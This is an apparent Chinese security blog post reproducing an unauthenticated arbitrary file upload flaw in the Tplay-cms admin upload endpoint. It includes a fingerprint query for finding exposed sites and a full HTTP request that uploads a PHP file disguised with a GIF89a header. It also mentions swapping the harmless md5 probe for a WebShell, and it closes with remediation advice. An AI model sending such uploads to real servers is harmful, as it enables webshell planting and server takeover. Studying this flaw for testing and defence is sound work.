Tplay-cms admin/common/upload 任意文件上传漏洞复现

Wayyt  9小时前

Tplay-cms admin/common/upload 任意文件上传漏洞复现

0x00 漏洞概述

Tplay-cms 是一款基于 ThinkPHP5 构建的开源后台管理框架(ThinkPHP 5.0.15 + layui + MySQL),集成了后台常用的权限管理、内容管理等功能,被一些 PHP 项目作为后台基座使用。

该系统 /admin/common/upload 文件上传接口存在任意文件上传漏洞:上传接口未校验调用方身份,上传内容以图片文件头伪装即可通过校验,服务端将文件保存为 PHP 脚本并回传存储路径,攻击者可借此在服务器上植入 WebShell,进而完全控制服务器。该问题综合评分 8.3,于 2025 年 6 月披露,暂无公开 CVE 编号。

0x01 影响版本

公开渠道未检索到厂商发布的受影响版本区间与修复公告,此处不对版本下结论,建议使用该系统的企业对部署实例直接验证(方法见 0x03)。

资产识别可使用以下特征:

(body="APPV1" && body="为Thinkphp5提供高性能框架而生") || (body="admin/common/login" && body="LAY_app")

0x02 漏洞利用

/admin/common/upload 是后台的通用文件上传接口。从利用行为可还原出两个关键缺陷:

其一,接口未校验调用方身份——后台登录墙没有覆盖到该接口,未认证的请求可以直接调用上传功能。

其二,文件内容校验可被图片头绕过:在提交的文件内容前加入 GIF89a 图片文件头,即可让上传内容满足图片类型检测(此为基于载荷结构的推断),而文件实际主体是任意可控的内容。从检测结果看,服务端最终将文件以 .php 扩展名保存至 /uploads/ 目录,并在响应体中回传了该存储路径——保存为可执行扩展名意味着上传内容中的 PHP 代码具备被解析执行的条件。

这一"图片头 + PHP 代码"的组合是文件上传漏洞的典型绕过手法:内容检查只看文件头部字节,执行环节却由扩展名决定,两道关卡各管一段,攻击者恰好从缝隙中穿过。

0x03 复现步骤

复现环境:授权测试环境中的 Tplay-cms 实例(下文以 <目标地址> 指代)。

第一步:构造上传请求。 以 multipart 表单向该接口提交文件(文件名、内容为示例填充,利用时可自行指定):

POST /admin/common/upload HTTP/1.1
Host: <目标地址>
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3061.111 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
Connection: close

------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="a1b2c3d4.php"
Content-Type: images/jpeg

GIF89a
<?php echo md5(1);?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--

文件内容以 GIF89a 开头,后接 PHP 代码(示例中为输出固定哈希的探测代码,实际利用时可替换为功能完整的 WebShell,公开利用程序亦支持对接哥斯拉等管理端)。请求未携带任何认证凭据。

第二步:读取响应获取路径。 观察响应:响应体中包含形如 /uploads/....php 的文件存储路径(从报错文本中回传)。记录该路径。

第三步:验证执行(条件式)。 访问该路径,若上传内容中的 PHP 代码被服务端解析执行(响应中出现代码的预期输出结果),则形成从任意文件上传到远程代码执行的完整闭环。需要说明的是,公开材料中该环节未被程序化验证,此处以条件式表述——文件被保存为 .php 扩展名这一事实已由响应路径证实,最终是否解析取决于 Web 服务配置。

0x04 判定

判定标准如下:

1. 向 /admin/common/upload 发送 multipart 上传请求(文件字段 file、内容带 GIF89a 图片头),返回响应体中包含 "/uploads/ 路径文本;

2. 提取到的路径以 .php 结尾,说明服务端按 PHP 脚本扩展名保存了上传文件。

两项同时满足即可确认该上传漏洞存在。其中第 2 项为关键:若文件被保存为图片扩展名或直接拒绝,即使上传成功也不构成代码执行风险。检测程序原文以响应状态码 500 搭配响应体路径匹配作为成功判据,即接口在上传后以异常响应回传了存储路径,复现时以响应体中实际出现的 /uploads/*.php 路径为准。

0x05 总结

该漏洞的根因是认证缺口与内容校验缺陷的叠加:登录墙未覆盖上传接口,内容校验又只识别图片文件头,最终任意 PHP 文件被保存到可执行路径。Tplay 作为被复用的后台基座,其上传缺陷会随项目集成而被批量复制,波及面可能大于单一站点。

修复建议(基于文件上传类漏洞的通用加固方向,以官方修复为准):为上传接口补充认证与权限校验;将上传目录设置为不可执行 PHP;校验文件内容与声明类型的一致性,而非仅识别文件头;对 /uploads/ 目录定期排查异常 .php 文件,并在访问日志中检索对该接口的未认证 POST 请求。

参考资料:

  • Tplay 开源项目主页(gitee.com/kervin13/Tplay)

最新评论

昵称
邮箱
提交评论